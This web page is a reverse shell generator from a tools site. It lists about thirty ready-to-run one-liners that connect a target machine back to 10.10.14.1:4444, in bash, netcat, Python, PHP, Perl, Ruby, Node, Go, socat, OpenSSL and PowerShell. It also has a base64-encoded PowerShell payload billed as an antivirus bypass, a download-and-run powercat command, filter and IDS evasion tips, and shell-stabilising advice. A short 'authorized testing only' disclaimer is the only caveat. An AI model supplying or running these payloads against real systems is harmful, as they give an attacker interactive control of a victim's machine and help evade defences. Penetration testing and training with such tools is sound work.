MagmaNex LogoMagmaNex

Reverse Shell Generator

Enter your IP and port to generate reverse shell one-liners for bash, python, nc, PowerShell and more.

First, run a listener on your machine:
rlwrap nc -lvnp 4444
Bash · bash -i /dev/tcp
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1
Bash · bash 196 fd
0<&196;exec 196<>/dev/tcp/10.10.14.1/4444; sh <&196 >&196 2>&196
Bash · bash readline
exec 5<>/dev/tcp/10.10.14.1/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
Bash · bash ${IFS} (space bypass)
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.10.14.1/4444${IFS}0>&1
sh · sh mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.1 4444 >/tmp/f
Netcat · nc -e
nc 10.10.14.1 4444 -e /bin/bash
Netcat · nc mkfifo (no -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.1 4444 >/tmp/f
Netcat · ncat -e
ncat 10.10.14.1 4444 -e /bin/bash
Netcat · ncat --ssl
ncat --ssl 10.10.14.1 4444 -e /bin/bash
Netcat · ncat udp
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|ncat -u 10.10.14.1 4444 >/tmp/f
Python · python3 pty
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("10.10.14.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
Python · python3 (env)
export RHOST="10.10.14.1";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
Python · python2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'
PHP · php exec
php -r '$sock=fsockopen("10.10.14.1",4444);exec("/bin/bash <&3 >&3 2>&3");'
PHP · php system
php -r '$sock=fsockopen("10.10.14.1",4444);system("/bin/bash <&3 >&3 2>&3");'
PHP · php shell_exec
php -r '$s=fsockopen("10.10.14.1",4444);shell_exec("/bin/bash <&3 >&3 2>&3");'
Perl · perl
perl -e 'use Socket;$i="10.10.14.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Ruby · ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.14.1",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
NodeJS · node
node -e '(function(){var n=require("net"),c=require("child_process"),s=new n.Socket();s.connect(4444,"10.10.14.1",function(){var sh=c.spawn("/bin/bash",[]);s.pipe(sh.stdin);sh.stdout.pipe(s);sh.stderr.pipe(s);});})()'
Lua · lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.1',4444);os.execute('/bin/bash -i <&3 >&3 2>&3');"
Golang · go
echo 'package main;import("net";"os/exec";"os");func main(){c,_:=net.Dial("tcp","10.10.14.1:4444");cmd:=exec.Command("/bin/bash");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go
Java · java
r = Runtime.getRuntime();p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.1/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);p.waitFor()
OpenSSL · openssl (encrypted)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.1:4444 > /tmp/s; rm /tmp/s
Other · socat
socat TCP:10.10.14.1:4444 EXEC:/bin/bash
Other · socat (full TTY)
socat TCP:10.10.14.1:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
Other · awk
awk 'BEGIN {s = "/inet/tcp/0/10.10.14.1/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Other · telnet
TF=$(mktemp -u);mkfifo $TF && telnet 10.10.14.1 4444 0<$TF | /bin/bash 1>$TF
Other · xterm (X11)
xterm -display 10.10.14.1:1
PowerShell · PowerShell TCP (one-liner)
powershell -nop -w hidden -ep bypass -c "$c=New-Object System.Net.Sockets.TCPClient("10.10.14.1",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"
PowerShell · PowerShell -enc (base64, AV bypass)
powershell -nop -w hidden -e JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAiADEAMAAuADEAMAAuADEANAAuADEAIgAsADQANAA0ADQAKQA7ACQAcwA9ACQAYwAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAPQAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAPQAkAHMALgBSAGUAYQBkACgAJABiACwAMAAsACQAYgAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAJABkAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAMAAsACQAaQApADsAJAByAD0AKABpAGUAeAAgACQAZAAgADIAPgAmADEAfABPAHUAdAAtAFMAdAByAGkAbgBnACkAOwAkAHIAMgA9ACQAcgArACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAJABzAGIAPQAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAYgAsADAALAAkAHMAYgAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==
PowerShell · powercat
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.1/powercat.ps1');powercat -c 10.10.14.1 -p 4444 -e /bin/bash"
Bypass tips: ${IFS} → boşluk filtresi · base64 -d|bash → karakter filtresi · powershell -e → AV/string imzası · ncat --ssl / openssl → IDS şifreleme · TTY: python3 -c 'import pty;pty.spawn("/bin/bash")' sonra stty raw -echo; fg.
⚠️ For education and authorized testing only. Use only on systems you own or are permitted to test.

What does this tool do?

Reverse Shell Generator builds ready-to-run one-liner reverse shells for bash, sh, netcat, Python, PHP, Perl, Ruby, Node.js, PowerShell and more — just enter your listener IP and port. With Base64 and URL encoding, a correct PowerShell -EncodedCommand output and built-in bypass tips, it's a complete swiss-army knife. Everything runs in your browser.

How to use it

  1. Enter your listener IP and port.
  2. Pick the command or payload that fits your setup.
  3. Copy it and use it only on systems you are authorized to test.

What it solves

When you can execute a command on a target (RCE, restricted shell, file upload), a reverse shell makes the target connect back to your machine. This tool gives you tested one-liners across dozens of languages with placeholders — fill in LHOST/LPORT and copy the one that fits the target. First start a listener on your box with 'rlwrap nc -lvnp 4444'.

Encoding and bypass

Base64 mode wraps the command in 'echo ... | base64 -d | bash' to defeat character filters; the PowerShell UTF-16LE -enc output breaks AV string signatures. URL mode percent-encodes for web payloads. The ${IFS} variant bypasses space filters, and ncat --ssl / openssl options add IDS-evading encryption. TTY-upgrade tips for stabilising the shell are included.

Frequently asked questions

My caught shell is broken / Ctrl+C kills it — what do I do?

After catching a dumb shell, upgrade to a PTY with 'python3 -c "import pty;pty.spawn(\'/bin/bash\')"', then background it with Ctrl+Z, run 'stty raw -echo; fg' and 'export TERM=xterm'. Arrow keys, tab-completion and Ctrl+C now work correctly.

nc -e doesn't work?

Many modern netcat builds ship without the -e flag for security. Use the mkfifo variant instead: 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f'.

Is Reverse Shell Generator free?

Yes. Reverse Shell Generator and all 300+ tools on MagmaNex are completely free with no signup or account required.

Is my data safe?

Yes. Everything runs locally in your browser. The data you enter is never sent to a server, stored, or shared.

Does it work on mobile?

Yes. Reverse Shell Generator works on phones, tablets and desktops — no app download needed.

🔒 Privacy: everything runs in your browser, your data is never sent to a server.

Related Tools

Nmap Command BuilderNew

Build a ready-to-run nmap command by picking scan type, ports, timing and NSE options.

Msfvenom Payload BuilderNew

Build your msfvenom command by choosing platform, payload, LHOST/LPORT and output format.

Hashcat Command BuilderNew

Build a hashcat command by selecting the hash type, attack mode, wordlist and mask.

Unix Privilege Escalation ReferenceNew

Searchable reference of Unix/Linux binaries for shell escape, SUID/sudo privilege escalation, file read/write and capability abuse — with explanations.

Windows Privilege Escalation ReferenceNew

Searchable Windows privesc reference: token abuse (SeImpersonate/Potato), service misconfigs, AlwaysInstallElevated, registry, scheduled tasks, DLL hijack, UAC bypass and credential theft — with explanations.

Pentest Cheat Sheet (Command Reference)New

Explained command reference for every phase of a pentest: enumeration, Nmap, SMB, web, password attacks, privesc, pivoting, Active Directory and more. Searchable, one-click copy.

📝 Related Articles

Popular Tools